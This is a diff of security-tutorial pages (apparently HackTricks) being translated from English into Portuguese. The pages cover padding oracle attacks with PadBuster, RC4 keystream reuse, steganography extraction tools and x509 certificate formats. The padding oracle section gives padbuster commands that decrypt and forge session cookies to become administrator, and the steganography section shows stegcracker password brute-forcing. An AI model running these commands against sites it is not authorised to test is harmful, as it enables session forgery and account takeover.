Normalmente, o **PKCS7** é usado, que gera um padding **repetindo** o **número** de **bytes** **necessários** para **completar** o bloco. Por exemplo, se o último bloco estiver faltando 3 bytes, o padding será `\x03\x03\x03`.
Let's look at more examples with a **2 blocks of length 8bytes**:
Vamos olhar mais exemplos com **2 blocos de comprimento 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Note how in the last example the **last block was full so another one was generated only with padding**.
Note como no último exemplo o **último bloco estava cheio, então outro foi gerado apenas com padding**.
## Padding Oracle
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
Quando uma aplicação descriptografa dados criptografados, ela primeiro descriptografa os dados; então, remove o padding. Durante a limpeza do padding, se um **padding inválido acionar um comportamento detectável**, você tem uma **vulnerabilidade de padding oracle**. O comportamento detectável pode ser um **erro**, uma **falta de resultados** ou uma **resposta mais lenta**.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
Se você detectar esse comportamento, pode **descriptografar os dados criptografados** e até mesmo **criptografar qualquer texto claro**.
### How to exploit
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
Você poderia usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explorar esse tipo de vulnerabilidade ou apenas fazer
```
sudo apt-get install padbuster
```
In order to test if the cookie of a site is vulnerable you could try:
Para testar se o cookie de um site é vulnerável, você pode tentar:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Encoding 0** significa que **base64** é usado (mas outros estão disponíveis, verifique o menu de ajuda).
**Encoding 0** means that **base64** is used (but others are available, check the help menu).
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
Você também poderia **abusar dessa vulnerabilidade para criptografar novos dados. Por exemplo, imagine que o conteúdo do cookie é "**_**user=MyUsername**_**", então você pode alterá-lo para "\_user=administrator\_" e escalar privilégios dentro da aplicação. Você também poderia fazer isso usando `paduster` especificando o parâmetro -plaintext**:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
Se o site for vulnerável, `padbuster` tentará automaticamente descobrir quando o erro de padding ocorre, mas você também pode indicar a mensagem de erro usando o parâmetro **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### A teoria
### The theory
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
Em **resumo**, você pode começar a descriptografar os dados criptografados adivinhando os valores corretos que podem ser usados para criar todos os **diferentes preenchimentos**. Então, o ataque de padding oracle começará a descriptografar bytes do final para o início, adivinhando qual será o valor correto que **cria um preenchimento de 1, 2, 3, etc**.
![](<../images/image (561).png>)
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
Imagine que você tem algum texto criptografado que ocupa **2 blocos** formados pelos bytes de **E0 a E15**.\
Para **descriptografar** o **último** **bloco** (**E8** a **E15**), todo o bloco passa pela "descriptografia de bloco" gerando os **bytes intermediários I0 a I15**.\
Finalmente, cada byte intermediário é **XORed** com os bytes criptografados anteriores (E0 a E7). Então:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
- `C12 = I12 ^ E4`
- ...
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
Agora, é possível **modificar `E7` até que `C15` seja `0x01`**, o que também será um preenchimento correto. Então, neste caso: `\x01 = I15 ^ E'7`
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
Assim, encontrando E'7, é **possível calcular I15**: `I15 = 0x01 ^ E'7`
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
O que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
Sabendo **C15**, agora é possível **calcular C14**, mas desta vez forçando o preenchimento `\x02\x02`.
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
Esse BF é tão complexo quanto o anterior, pois é possível calcular o `E''15` cujo valor é 0x02: `E''7 = \x02 ^ I15`, então só é necessário encontrar o **`E'14`** que gera um **`C14` igual a `0x02`**.\
Então, siga os mesmos passos para descriptografar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Follow this chain until you decrypt the whole encrypted text.**
**Siga essa cadeia até que você descriptografe todo o texto criptografado.**
### Detection of the vulnerability
### Detecção da vulnerabilidade
Register and account and log in with this account .\
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
Registre uma conta e faça login com essa conta.\
Se você **fizer login muitas vezes** e sempre receber o **mesmo cookie**, provavelmente há **algo** **errado** na aplicação. O **cookie enviado de volta deve ser único** cada vez que você faz login. Se o cookie é **sempre** o **mesmo**, provavelmente sempre será válido e não **haverá como invalidá-lo**.
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
Agora, se você tentar **modificar** o **cookie**, você pode ver que recebe um **erro** da aplicação.\
Mas se você BF o preenchimento (usando padbuster, por exemplo), você consegue obter outro cookie válido para um usuário diferente. Esse cenário é altamente provável de ser vulnerável ao padbuster.
### References
### Referências
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
{{#include ../banners/hacktricks-training.md}}
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
Se você puder de alguma forma criptografar um texto simples usando RC4, poderá descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia.
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
Se você puder criptografar um texto simples conhecido, também poderá extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}

View File

@ -2,50 +2,41 @@
{{#include ../banners/hacktricks-training.md}}
## **Extracting Data from Files**
## **Extraindo Dados de Arquivos**
### **Binwalk**
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
Uma ferramenta para procurar arquivos binários em busca de arquivos e dados ocultos incorporados. É instalada via `apt` e seu código-fonte está disponível no [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
Recupera arquivos com base em seus cabeçalhos e rodapés, útil para imagens png. Instalado via `apt` com sua fonte no [GitHub](https://github.com/korczis/foremost).
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
Ajuda a visualizar os metadados do arquivo, disponível [aqui](https://www.sno.phy.queensu.ca/~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
Semelhante ao exiftool, para visualização de metadados. Instalável via `apt`, código-fonte no [GitHub](https://github.com/Exiv2/exiv2), e possui um [site oficial](http://www.exiv2.org/).
```bash
exiv2 file # Shows the metadata
```
### **Arquivo**
### **File**
Identify the type of file you're dealing with.
Identifique o tipo de arquivo com o qual você está lidando.
### **Strings**
Extracts readable strings from files, using various encoding settings to filter the output.
Extrai strings legíveis de arquivos, usando várias configurações de codificação para filtrar a saída.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
```
### **Comparação (cmp)**
### **Comparison (cmp)**
Useful for comparing a modified file with its original version found online.
Útil para comparar um arquivo modificado com sua versão original encontrada online.
```bash
cmp original.jpg stego.jpg -b -l
```
## **Extraindo Dados Ocultos em Texto**
## **Extracting Hidden Data in Text**
### **Dados Ocultos em Espaços**
### **Hidden Data in Spaces**
Caracteres invisíveis em espaços aparentemente vazios podem esconder informações. Para extrair esses dados, visite [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
## **Extraindo Dados de Imagens**
## **Extracting Data from Images**
### **Identifying Image Details with GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
### **Identificando Detalhes da Imagem com GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) serve para determinar tipos de arquivos de imagem e identificar possíveis corrupções. Execute o comando abaixo para inspecionar uma imagem:
```bash
./magick identify -verbose stego.jpg
```
To attempt repair on a damaged image, adding a metadata comment might help:
Para tentar reparar uma imagem danificada, adicionar um comentário de metadados pode ajudar:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Steghide para Ocultação de Dados**
### **Steghide for Data Concealment**
Steghide facilita a ocultação de dados dentro de arquivos `JPEG, BMP, WAV e AU`, capaz de embutir e extrair dados criptografados. A instalação é simples usando `apt`, e seu [código-fonte está disponível no GitHub](https://github.com/StefanoDeVuono/steghide).
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
**Comandos:**
**Commands:**
- `steghide info file` revela se um arquivo contém dados ocultos.
- `steghide extract -sf file [--passphrase password]` extrai os dados ocultos, senha opcional.
- `steghide info file` reveals if a file contains hidden data.
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
Para extração baseada na web, visite [este site](https://futureboy.us/stegano/decinput.html).
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
**Bruteforce Attack with Stegcracker:**
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
**Ataque de Bruteforce com Stegcracker:**
- Para tentar quebrar a senha no Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) da seguinte forma:
```bash
stegcracker <file> [<wordlist>]
```
### **zsteg para Arquivos PNG e BMP**
### **zsteg for PNG and BMP Files**
zsteg se especializa em descobrir dados ocultos em arquivos PNG e BMP. A instalação é feita via `gem install zsteg`, com sua [fonte no GitHub](https://github.com/zed-0xff/zsteg).
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
**Comandos:**
**Commands:**
- `zsteg -a arquivo` aplica todos os métodos de detecção em um arquivo.
- `zsteg -E arquivo` especifica um payload para extração de dados.
- `zsteg -a file` applies all detection methods on a file.
- `zsteg -E file` specifies a payload for data extraction.
### **StegoVeritas e Stegsolve**
### **StegoVeritas and Stegsolve**
**stegoVeritas** verifica metadados, realiza transformações de imagem e aplica força bruta LSB, entre outros recursos. Use `stegoveritas.py -h` para uma lista completa de opções e `stegoveritas.py stego.jpg` para executar todas as verificações.
**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks.
**Stegsolve** aplica vários filtros de cor para revelar textos ou mensagens ocultas dentro de imagens. Está disponível no [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
### **FFT para Detecção de Conteúdo Oculto**
### **FFT for Hidden Content Detection**
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
Técnicas de Transformada Rápida de Fourier (FFT) podem revelar conteúdo oculto em imagens. Recursos úteis incluem:
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
- [FFTStegPic no GitHub](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy for Audio and Image Files**
### **Stegpy para Arquivos de Áudio e Imagem**
Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy).
Stegpy permite embutir informações em arquivos de imagem e áudio, suportando formatos como PNG, BMP, GIF, WebP e WAV. Está disponível no [GitHub](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck for PNG File Analysis**
To analyze PNG files or to validate their authenticity, use:
### **Pngcheck para Análise de Arquivos PNG**
Para analisar arquivos PNG ou validar sua autenticidade, use:
```bash
apt-get install pngcheck
pngcheck stego.png
```
### **Ferramentas Adicionais para Análise de Imagens**
### **Additional Tools for Image Analysis**
For further exploration, consider visiting:
Para uma exploração adicional, considere visitar:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@ -153,66 +133,60 @@ For further exploration, consider visiting:
- [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/)
## **Extracting Data from Audios**
## **Extraindo Dados de Áudios**
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
**Esteganografia de áudio** oferece um método único para ocultar informações dentro de arquivos de som. Diferentes ferramentas são utilizadas para embutir ou recuperar conteúdo oculto.
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
Steghide é uma ferramenta versátil projetada para esconder dados em arquivos JPEG, BMP, WAV e AU. Instruções detalhadas estão disponíveis na [documentação de truques de esteganografia](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
Esta ferramenta é compatível com uma variedade de formatos, incluindo PNG, BMP, GIF, WebP e WAV. Para mais informações, consulte a [seção do Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
ffmpeg é crucial para avaliar a integridade dos arquivos de áudio, destacando informações detalhadas e identificando quaisquer discrepâncias.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
WavSteg se destaca em ocultar e extrair dados dentro de arquivos WAV usando a estratégia do bit menos significativo. Está disponível no [GitHub](https://github.com/ragibson/Steganography#WavSteg). Os comandos incluem:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
Deepsound permite a criptografia e detecção de informações dentro de arquivos de som usando AES-256. Pode ser baixado da [página oficial](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer**
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
Uma ferramenta inestimável para inspeção visual e analítica de arquivos de áudio, Sonic Visualizer pode revelar elementos ocultos indetectáveis por outros meios. Visite o [site oficial](https://www.sonicvisualiser.org/) para mais informações.
### **DTMF Tones - Dial Tones**
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
Detectar tons DTMF em arquivos de áudio pode ser alcançado através de ferramentas online como [este detector DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
## **Other Techniques**
## **Outras Técnicas**
### **Binary Length SQRT - QR Code**
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
Dados binários que se elevam ao quadrado para um número inteiro podem representar um código QR. Use este trecho para verificar:
```python
import math
math.sqrt(2500) #50
```
Para conversão de binário para imagem, verifique [dcode](https://www.dcode.fr/binary-image). Para ler códigos QR, use [este leitor de código de barras online](https://online-barcode-reader.inliteresearch.com/).
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
### **Tradução em Braille**
### **Braille Translation**
Para traduzir Braille, o [Branah Braille Translator](https://www.branah.com/braille-translator) é um excelente recurso.
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
## **References**
## **Referências**
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)

View File

@ -1,47 +1,38 @@
# Certificates
# Certificados
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## O que é um Certificado
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Um **certificado de chave pública** é uma ID digital usada em criptografia para provar que alguém possui uma chave pública. Ele inclui os detalhes da chave, a identidade do proprietário (o sujeito) e uma assinatura digital de uma autoridade confiável (o emissor). Se o software confia no emissor e a assinatura é válida, a comunicação segura com o proprietário da chave é possível.
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Os certificados são emitidos principalmente por [autoridades certificadoras](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) em uma [infraestrutura de chave pública](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Outro método é a [teia de confiança](https://en.wikipedia.org/wiki/Web_of_trust), onde os usuários verificam diretamente as chaves uns dos outros. O formato comum para certificados é [X.509](https://en.wikipedia.org/wiki/X.509), que pode ser adaptado para necessidades específicas conforme descrito no RFC 5280.
## What is a Certificate
## Campos Comuns x509
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
### **Campos Comuns em Certificados x509**
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
Em certificados x509, vários **campos** desempenham papéis críticos na garantia da validade e segurança do certificado. Aqui está uma análise desses campos:
## x509 Common Fields
- **Número da Versão** significa a versão do formato x509.
- **Número de Série** identifica exclusivamente o certificado dentro do sistema de uma Autoridade Certificadora (CA), principalmente para rastreamento de revogação.
- O campo **Sujeito** representa o proprietário do certificado, que pode ser uma máquina, um indivíduo ou uma organização. Inclui identificação detalhada, como:
- **Nome Comum (CN)**: Domínios cobertos pelo certificado.
- **País (C)**, **Localidade (L)**, **Estado ou Província (ST, S ou P)**, **Organização (O)** e **Unidade Organizacional (OU)** fornecem detalhes geográficos e organizacionais.
- **Nome Distinto (DN)** encapsula a identificação completa do sujeito.
- **Emissor** detalha quem verificou e assinou o certificado, incluindo subcampos semelhantes ao Sujeito para a CA.
- O **Período de Validade** é marcado por timestamps **Não Antes** e **Não Depois**, garantindo que o certificado não seja usado antes ou depois de uma certa data.
- A seção **Chave Pública**, crucial para a segurança do certificado, especifica o algoritmo, tamanho e outros detalhes técnicos da chave pública.
- As **extensões x509v3** aprimoram a funcionalidade do certificado, especificando **Uso de Chave**, **Uso de Chave Estendida**, **Nome Alternativo do Sujeito** e outras propriedades para ajustar a aplicação do certificado.
### **Common Fields in x509 Certificates**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
#### **Uso de Chave e Extensões**
- **Uso de Chave** identifica aplicações criptográficas da chave pública, como assinatura digital ou criptografia de chave.
- **Uso de Chave Estendida** restringe ainda mais os casos de uso do certificado, por exemplo, para autenticação de servidor TLS.
- **Nome Alternativo do Sujeito** e **Restrição Básica** definem nomes de host adicionais cobertos pelo certificado e se é um certificado CA ou de entidade final, respectivamente.
- Identificadores como **Identificador de Chave do Sujeito** e **Identificador de Chave da Autoridade** garantem a exclusividade e rastreabilidade das chaves.
- **Acesso à Informação da Autoridade** e **Pontos de Distribuição de CRL** fornecem caminhos para verificar a CA emissora e checar o status de revogação do certificado.
- **SCTs de Pré-certificado CT** oferecem logs de transparência, cruciais para a confiança pública no certificado.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@ -63,133 +54,104 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Diferença entre OCSP e Pontos de Distribuição CRL**
### **Difference between OCSP and CRL Distribution Points**
**OCSP** (**RFC 2560**) envolve um cliente e um respondedor trabalhando juntos para verificar se um certificado digital de chave pública foi revogado, sem a necessidade de baixar o **CRL** completo. Este método é mais eficiente do que o tradicional **CRL**, que fornece uma lista de números de série de certificados revogados, mas requer o download de um arquivo potencialmente grande. Os CRLs podem incluir até 512 entradas. Mais detalhes estão disponíveis [aqui](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **O que é Transparência de Certificado**
### **What is Certificate Transparency**
A Transparência de Certificado ajuda a combater ameaças relacionadas a certificados, garantindo que a emissão e a existência de certificados SSL sejam visíveis para proprietários de domínios, CAs e usuários. Seus objetivos são:
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
- Prevenir que CAs emitam certificados SSL para um domínio sem o conhecimento do proprietário do domínio.
- Estabelecer um sistema de auditoria aberto para rastrear certificados emitidos por engano ou maliciosamente.
- Proteger os usuários contra certificados fraudulentos.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Registros de Certificado**
#### **Certificate Logs**
Registros de certificado são registros auditáveis publicamente, apenas para adição, de certificados, mantidos por serviços de rede. Esses registros fornecem provas criptográficas para fins de auditoria. Tanto as autoridades de emissão quanto o público podem enviar certificados para esses registros ou consultá-los para verificação. Embora o número exato de servidores de registro não seja fixo, espera-se que seja inferior a mil globalmente. Esses servidores podem ser gerenciados de forma independente por CAs, ISPs ou qualquer entidade interessada.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
#### **Consulta**
#### **Query**
Para explorar registros de Transparência de Certificado para qualquer domínio, visite [https://crt.sh/](https://crt.sh).
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
Existem diferentes formatos para armazenar certificados, cada um com seus próprios casos de uso e compatibilidade. Este resumo cobre os principais formatos e fornece orientações sobre como converter entre eles.
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
## **Formatos**
## **Formats**
### **Formato PEM**
### **PEM Format**
- Formato mais amplamente utilizado para certificados.
- Requer arquivos separados para certificados e chaves privadas, codificados em Base64 ASCII.
- Extensões comuns: .cer, .crt, .pem, .key.
- Principalmente usado por Apache e servidores similares.
- Most widely used format for certificates.
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
### **Formato DER**
### **DER Format**
- Um formato binário de certificados.
- Não possui as declarações "BEGIN/END CERTIFICATE" encontradas em arquivos PEM.
- Extensões comuns: .cer, .der.
- Frequentemente usado com plataformas Java.
- A binary format of certificates.
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
### **Formato P7B/PKCS#7**
### **P7B/PKCS#7 Format**
- Armazenado em Base64 ASCII, com extensões .p7b ou .p7c.
- Contém apenas certificados e certificados de cadeia, excluindo a chave privada.
- Suportado pelo Microsoft Windows e Java Tomcat.
